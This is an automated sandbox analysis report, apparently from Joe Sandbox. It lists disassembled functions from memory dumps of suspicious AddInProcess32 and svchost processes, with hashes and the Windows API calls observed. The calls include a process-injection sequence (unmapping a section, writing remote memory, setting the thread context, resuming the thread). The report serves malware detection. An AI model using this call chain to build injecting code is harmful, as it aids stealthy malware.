Instruction Fuzzy Hash: 3C2125B2800259CFCB14CF9AD484BEEBBF4AF49320F14846AE459B7250D778A944CF65

Function 0109B648 Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 0109B6C0

Memory Dump Source

Source File: 00000025.00000002.2876276275.0000000001090000.00000040.00000800.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1090000_AddInProcess32.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 7ea926d2183c77d1ba545daa5c02f79cc70e4b6f55f0b9d9c3b2ac14cf6b8e37
Instruction ID: cf14fffd90e852b525adf289d9bcaab7fefbcfa27aab37035bcf096042f176b2
Opcode Fuzzy Hash: 7ea926d2183c77d1ba545daa5c02f79cc70e4b6f55f0b9d9c3b2ac14cf6b8e37
Instruction Fuzzy Hash: 4B2113B1C0061A8BDB14CF9AD545BAEFBF0AB48320F14816AD858A7250D738A940CFA5

Function 0109B650 Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 0109B6C0

Memory Dump Source

Source File: 00000025.00000002.2876276275.0000000001090000.00000040.00000800.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_1090000_AddInProcess32.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 8c7cea09fe558acc5d3e42b34947f3b69628e8eff294482518d48e34174934d2
Instruction ID: f085c2d302cdcc8ecfd9f09d485eaf8716393ec5bec310a264dad28a09ec6267
Opcode Fuzzy Hash: 8c7cea09fe558acc5d3e42b34947f3b69628e8eff294482518d48e34174934d2
Instruction Fuzzy Hash: 421133B1C0061A9BCB14CF9AD544B9EFBF4BF48320F10816AD858B7250D738A940CFE5

Function 00F0D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2870362953.0000000000F0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_f0d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e50882f26858171f3b7aca02a335ed3a1d19f213f827e77c0b67106b1678df
Instruction ID: a624a08e2741ab15b24ca3ac0e61bd1e39c9dbe70ded839e1445ebc3cb4aec36
Opcode Fuzzy Hash: 43e50882f26858171f3b7aca02a335ed3a1d19f213f827e77c0b67106b1678df
Instruction Fuzzy Hash: 89213471A04204DFDB10DF64C9C4B26BBA5FB84324F20C56DE84D4B29AC73AD846FA62

Function 00F0D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2870362953.0000000000F0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_f0d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: bd3435334727746df6a7455efe7994d2d12001f3c094d6bb449bf4a3617dd8a8
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 3711D075904244CFDB11CF50D9C4B15BF62FB44324F24C6A9D8494B696C33AD84AEF51

Analysis Process: svchost.exePID: 8396, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	12%
Total number of Nodes:	25
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B8BF3A3 Relevance: 2.0, Strings: 1, Instructions: 773
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(V_H, xrefs: 00007FFD9B8BFBD4

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID: (V_H
API String ID: 0-1775731446
Opcode ID: 8e0897a3649fc580fb5a52fece19df82357b904f3a637ce6b9f3da69041d757e
Instruction ID: 975e24c6f7593ddbf79fda2872c3442119fcee667b548f5d550b47c45d581ea9
Opcode Fuzzy Hash: 8e0897a3649fc580fb5a52fece19df82357b904f3a637ce6b9f3da69041d757e
Instruction Fuzzy Hash: 45325631F0EAAE0FE7A99B78487557477D1EF99300B0501BED48AC71E3ED18A9468BC1

Function 00007FFD9B8D188A Relevance: 1.7, APIs: 1, Instructions: 151
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD9B8D1976

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: e22fd87633089214f8a00c6f07e4e8f18fd988413d94fc030998b6dc121255cd
Instruction ID: d329ba8e68dd230291d6e45783d7cc419e7a9087678e87e596a2c090bd19fea3
Opcode Fuzzy Hash: e22fd87633089214f8a00c6f07e4e8f18fd988413d94fc030998b6dc121255cd
Instruction Fuzzy Hash: D8413B70A0864C8FDB94DF98D845BADBBF1FF9A310F1042AAD049D7256DB70A985CF41

Function 00007FFD9B8BD511 Relevance: 1.4, Instructions: 1423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c59d71d1577ccbf441cf1ec3c955a95ac1a75d3fc04302bfb98ca70d0634029
Instruction ID: cb1a209a17c3a6098de255c63468c145cd149760bc98dafac48fea64c002a940
Opcode Fuzzy Hash: 5c59d71d1577ccbf441cf1ec3c955a95ac1a75d3fc04302bfb98ca70d0634029
Instruction Fuzzy Hash: CAA2683061DB5A4FE769DB38C4A44B5B7E1FF89301B0545BED48AC72A2DE34E946CB80

Function 00007FFD9B8C0658 Relevance: 1.1, Instructions: 1110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c156393e80f07f2673d2c7b56dd209f10b3f2807f91669fe028ebd3d2abdc78
Instruction ID: 1d706852b9f8c55f9d8e38d6a20a20874d12565e1eccb2b6d879857b67adcfec
Opcode Fuzzy Hash: 6c156393e80f07f2673d2c7b56dd209f10b3f2807f91669fe028ebd3d2abdc78
Instruction Fuzzy Hash: B372787061DB4D4FD769EB28C4A04B577E1FF89300B0546BEE48AC72A6DE34E946CB81

Function 00007FFD9B8BD130 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 105abb2b45f5c3490e0c87948794ad71991103d366e99b264f81a61fb8ab7c5f
Instruction ID: 8333431bd690e5ba1b107b481581d7af2f42f6572c29d42dc60e912e5f82e723
Opcode Fuzzy Hash: 105abb2b45f5c3490e0c87948794ad71991103d366e99b264f81a61fb8ab7c5f
Instruction Fuzzy Hash: 18D18C3160DB9A4FE32DCB3884A11B5B7E1FFD9301B05467EE4C6C72A1DA24E546CB81

Function 00007FFD9B8C6478 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d91cd5f0255071c45e86ac349d7c2c1d227f8c14d00753eb74ef919a11718e4
Instruction ID: 0214164435ad8343cea8d1b5c1f50a045f2a15c75ec9f0e1d8d93c78361ea34f
Opcode Fuzzy Hash: 6d91cd5f0255071c45e86ac349d7c2c1d227f8c14d00753eb74ef919a11718e4
Instruction Fuzzy Hash: 3941777160D7890FC31E9B7488211B27BA1EB57310B1682BFD487CB1E7EC28AD468392

Function 00007FFD9B98026B Relevance: 2.3, Strings: 1, Instructions: 1085
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 00007FFD9B980786

Memory Dump Source

Source File: 00000029.00000002.1994756231.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b980000_svchost.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-3554254475
Opcode ID: 45ad662eb4f608ebaa577da2cfcedeb3b6fae8d31cbc3297cb8ac22ef565d512
Instruction ID: 8c6c3cafff8191e3cc9e980fe5d15f20843464fb4c23014d1f932383282a67e9
Opcode Fuzzy Hash: 45ad662eb4f608ebaa577da2cfcedeb3b6fae8d31cbc3297cb8ac22ef565d512
Instruction Fuzzy Hash: 75725A72A1EBC94FEB65CB6888655A87FE0FF55700F0A05FED089CB0A3DA346946C741

Function 00007FFD9B8D14C5 Relevance: 1.8, APIs: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ecc3033f7c0d3cff7a6536c835f3b63959edadec2bdf617e4e1d96f28114aa
Instruction ID: b357e20bed4db4b1bd956d436012917fbc39c77a4789a5daf402fa28ec6aaf82
Opcode Fuzzy Hash: a4ecc3033f7c0d3cff7a6536c835f3b63959edadec2bdf617e4e1d96f28114aa
Instruction Fuzzy Hash: CAA10570A08A1C8FDB98DF58C854BA9BBF1FB69311F1011AED44EE3291DB759985CF40

Function 00007FFD9B8D1509 Relevance: 1.8, APIs: 1, Instructions: 305
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE ref: 00007FFD9B8D1744

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c8b6ea07d181cac486f96b8700378542d3ed15e95af35511cb9ddc3426fd1027
Instruction ID: 73d2754adb30569fdf57e51bc7200fbe97198eab98298cfdbe3202a4e5d3c266
Opcode Fuzzy Hash: c8b6ea07d181cac486f96b8700378542d3ed15e95af35511cb9ddc3426fd1027
Instruction Fuzzy Hash: 09910270908A1C8FDB98DF58C894BA9BBF1FB69311F1001AED04EE32A1CB759984CF44

Function 00007FFD9B8D1B8F Relevance: 1.8, APIs: 1, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e562446976ba51c34d08d696516e5e50a2145bab7cc88baa3638f79cf540818
Instruction ID: 5a0a344514c1d8536e8a6fe2c552abd933e9f8cff9267ea5fa89eb9c559fd7e9
Opcode Fuzzy Hash: 5e562446976ba51c34d08d696516e5e50a2145bab7cc88baa3638f79cf540818
Instruction Fuzzy Hash: 2291AE70A0964D8FDBA8EF68C855BE9BBF0FF59310F1002AED44DD7251DA35A985CB80

Function 00007FFD9B8D1AFD Relevance: 1.8, APIs: 1, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32ccfb5942e8386e0f16c45a17dce13e49648dcf87e6401b673cabce9332648b
Instruction ID: 2ec50b16231c124be2455551706238239f7e78f4ec57c0a445562d1deb991729
Opcode Fuzzy Hash: 32ccfb5942e8386e0f16c45a17dce13e49648dcf87e6401b673cabce9332648b
Instruction Fuzzy Hash: 9881B030A0DA4C8FDB98DF68C854BE9BBF1FB69314F0042AED04DD3252DA70A985CB41

Function 00007FFD9B8B3740 Relevance: 1.7, APIs: 1, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8b3000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b16ae99dd00191669d3bacaa809e2ca9ee3a27da4b810d4002d1396c305f75
Instruction ID: ca855410ca1db984f78c28da4ba38a6b37242fd1597ac4aa0c89975091cd0c76
Opcode Fuzzy Hash: 08b16ae99dd00191669d3bacaa809e2ca9ee3a27da4b810d4002d1396c305f75
Instruction Fuzzy Hash: 6361907090975C8FDB58DFA8C895AE9BBF0FF1A300F1041AED049972A2DB74A945CF85

Function 00007FFD9B8D2476 Relevance: 1.7, APIs: 1, Instructions: 210
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FFD9B8D25E9

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 043e723a9044323e93b91e3fb777de977c6aa7a4469b196187d97d81422c6bd7
Instruction ID: 4e7700af655a0ab99d5dc4bf5376be38f201835bcb9c9daa04f1626ccab61521
Opcode Fuzzy Hash: 043e723a9044323e93b91e3fb777de977c6aa7a4469b196187d97d81422c6bd7
Instruction Fuzzy Hash: 86611370A08A5C8FDB98DF98D895BE9BBF1FB69310F1041AED04DE3251DB74A985CB40

Function 00007FFD9B8B47A6 Relevance: 1.7, APIs: 1, Instructions: 202
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B8B48F5

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8b3000_svchost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ce8b4227f19ddaa62054e0cd19ae38612401a43661d2768291ac931574e7a9db
Instruction ID: 2acf608d2c841fc0181f1fdfbeab180d1004b55fc532fa06fafa9e09ddefc1fd
Opcode Fuzzy Hash: ce8b4227f19ddaa62054e0cd19ae38612401a43661d2768291ac931574e7a9db
Instruction Fuzzy Hash: A2517F7090874C8FDB58DF68C855BE9BBF0FB5A310F1402AED449E3292DB74A985CB81

Function 00007FFD9B8D1F1D Relevance: 1.7, APIs: 1, Instructions: 195
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FFD9B8D2060

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4cb1845d1be91cbec5b0c0955f6ba0171e89f8a09f80f3ec7b9703f1c2ca83d5
Instruction ID: 46b81132d4f2a96ea247a5d56da60b7f5ba4b1d16cc3f25dfae22a62e5e6f077
Opcode Fuzzy Hash: 4cb1845d1be91cbec5b0c0955f6ba0171e89f8a09f80f3ec7b9703f1c2ca83d5
Instruction Fuzzy Hash: 3D515870908A4C8FDB98DF58D885BE9BBF1FB6A310F1041AED44DE7252DA70A985CF40

Function 00007FFD9B8D1C58 Relevance: 1.7, APIs: 1, Instructions: 184
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE ref: 00007FFD9B8D1D7E

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 20ac76e6a955cca3e58c9c3ddd0565c720da8ba0d44e2ecc47a680a0b68dc6af
Instruction ID: 20850abe8cf8f3365bc1f7db3987cbaecfc788ac1b8bf22bf7a3d626436f3c53
Opcode Fuzzy Hash: 20ac76e6a955cca3e58c9c3ddd0565c720da8ba0d44e2ecc47a680a0b68dc6af
Instruction Fuzzy Hash: 6151F470A08A1C8FDF98EF58C895BE9BBF1FB69314F1051AAD44DE3251DB70A981CB44

Function 00007FFD9B8D2275 Relevance: 1.6, APIs: 1, Instructions: 150
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNELBASE ref: 00007FFD9B8D2356

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5851f8dc239618a294181019a233860330136d39a1f2f818bdd8dff9febdcaae
Instruction ID: c8fccb0acd1c6b851b90b33cfc15f28dd9aa7c412b4171415abd885af74f0b36
Opcode Fuzzy Hash: 5851f8dc239618a294181019a233860330136d39a1f2f818bdd8dff9febdcaae
Instruction Fuzzy Hash: 45417C30A0864D8FDBA8DFA8D845BEDBBF1FB99310F20426AD049D7256D7309985CF40

Function 00007FFD9B8D282A Relevance: 1.6, APIs: 1, Instructions: 149threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00007FFD9B8D2902

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8ca000_svchost.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: cd61050e516d2f38c253723b35e3f33c77bbdffbfe98725e39941cb8c75b4584
Instruction ID: 0b7732e6bf7dd788455232b13cf4e395786b3f68e06db2034227aa7c3a7e6dad
Opcode Fuzzy Hash: cd61050e516d2f38c253723b35e3f33c77bbdffbfe98725e39941cb8c75b4584
Instruction Fuzzy Hash: 2E415C70E0864C8FDB98DF98D895BEDBBF1EB59310F1041AAD00DD7292DA34A846CB40

Function 00007FFD9B8B0A0D Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B8B0ACE

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8b0000_svchost.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 7170b1d589fb1e4cd46d72328f8bea376acddda3d1aec330fccaeb790c5df911
Instruction ID: 71d2dbf544d9073cd60d6865cdffe9edb1fcc2a57ba2bcc038dad54b98bd3e12
Opcode Fuzzy Hash: 7170b1d589fb1e4cd46d72328f8bea376acddda3d1aec330fccaeb790c5df911
Instruction Fuzzy Hash: 1C418F34A0875C8FDB54DFA8C889BEDBBF0FB1A311F1041AAD049D7252DB74A945CB41

Function 00007FFD9B8B04BA Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B8B0ACE

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8b0000_svchost.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 1c33fe11f24b4fb623ea540b2fc1b5c9f33731fc83a00bc69aeb2da1f8d65f2a
Instruction ID: f3b48265a86cabe9f69aa6646b10775eeab2eb5e659d0d33d51326bb497cab17
Opcode Fuzzy Hash: 1c33fe11f24b4fb623ea540b2fc1b5c9f33731fc83a00bc69aeb2da1f8d65f2a
Instruction Fuzzy Hash: 98316A74A0871C8FEB58DF98D889BEDB7F0FB19311F10416AD00AE7252DB74A985CB50

Function 00007FFD9B980E29 Relevance: 1.0, Instructions: 961COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1994756231.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b980000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c52539776d8b442befabffb6a0a64bea705806fd3d472709a182f97f113de3e7
Instruction ID: d7c684026ab31ac09c6f4bfc3c4b4373ef6a4af03c544a09204cef0e187610bd
Opcode Fuzzy Hash: c52539776d8b442befabffb6a0a64bea705806fd3d472709a182f97f113de3e7
Instruction Fuzzy Hash: 89522972A1EBD95FD766DB7888655A47FE0EF5A304B0A01FFC0C9CB0A3D9286906C341

Function 00007FFD9B8C2169 Relevance: .8, Instructions: 785COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68852acea4e701cd98b34177a04175d4d545677da7927219cdc54a751d3d4974
Instruction ID: 354eea64a6f4c400bdb3e6fd8be81a0c410ebca66a61a01a13872474cdcf648b
Opcode Fuzzy Hash: 68852acea4e701cd98b34177a04175d4d545677da7927219cdc54a751d3d4974
Instruction Fuzzy Hash: 1C32E77070EA498FD7A9EF68D4A567977E1FF59300B0500BEE48AC71E2DE24ED418741

Function 00007FFD9B8C0099 Relevance: .5, Instructions: 541COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e7552a45636fa7a0983f3debf1b7e066e1e7f36d561d286ed11b03db973f7a2
Instruction ID: cfd12a68687ddc9591591944c7aaa6c12b16c4b9ac743bf81b6ff51671e1e828
Opcode Fuzzy Hash: 6e7552a45636fa7a0983f3debf1b7e066e1e7f36d561d286ed11b03db973f7a2
Instruction Fuzzy Hash: B7027A7072D78A4FD329DB2884914B6B7E2FFC9305B14867EE4C6C72A5DA34E906C781

Function 00007FFD9B8C1240 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5baaf1c06b520f2d44fcfa4c9922e6c067654c215c32356def5f6f57049d670
Instruction ID: 5f09913e24de2b60d467817d957ca6f717109260faff80454042b832836e6775
Opcode Fuzzy Hash: e5baaf1c06b520f2d44fcfa4c9922e6c067654c215c32356def5f6f57049d670
Instruction Fuzzy Hash: 77E12C71B0E98D4FE7A4FB6C88A56B97BE1FF5D300F4501FAD04DC75A2DA2868068741

Function 00007FFD9B8BCD58 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a318300c669d6b07264f0a77141e9297064b558f0479d4b5f449442212434549
Instruction ID: 5bacf29bb81806bc640be3ee9b0980811dc73cdbe801ed07df2f1e0414e5956b
Opcode Fuzzy Hash: a318300c669d6b07264f0a77141e9297064b558f0479d4b5f449442212434549
Instruction Fuzzy Hash: 8A718C3170DB9A4FE769CB6CC4A50A5B7D2FFC9300B05467EE0C9C72B5D924A9028F81

Function 00007FFD9B8C4225 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5e40f9d455ee50f4c5a96f5e2205f8bd3f551c0952ce99b3af70b5cd52b5d5e
Instruction ID: 797467078eb342e7bfdbc62dc2cfcfdc8fe464a51ecefa84a17a31fdce31588f
Opcode Fuzzy Hash: b5e40f9d455ee50f4c5a96f5e2205f8bd3f551c0952ce99b3af70b5cd52b5d5e
Instruction Fuzzy Hash: D3712471B0DD8D4FDB58EB6C9465AB87BE1EF99300F0901AFD04DC71A6DE24AC428740

Function 00007FFD9B8C2450 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab4c9c4d4fbe1bd3e738e269c8a3d4f463f9ecbc132fadee34351841c7c29c35
Instruction ID: b7b9bc84a408add3aaa881283df1894ee127f539332ca3846292039a0ee7c5f9
Opcode Fuzzy Hash: ab4c9c4d4fbe1bd3e738e269c8a3d4f463f9ecbc132fadee34351841c7c29c35
Instruction Fuzzy Hash: 40714AB1A1E68E4FE3B5AFA8843257577D0EF59310B0601FBC44AC71E3EE18AD068741

Function 00007FFD9B981269 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1994756231.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b980000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 577979f8856d3ae51d4400883fae920a844f7de1bb882e92809cd73de5c4028e
Instruction ID: 004fa59a6abb51c8cab97d41ee717b84b4b6399c40978aab7bac9bacab974216
Opcode Fuzzy Hash: 577979f8856d3ae51d4400883fae920a844f7de1bb882e92809cd73de5c4028e
Instruction Fuzzy Hash: 53611A3161EADD4FDB66DB7488759A57BF1EF1A30470A01EBC08AC71A7D928A906C341

Function 00007FFD9B8C4D45 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

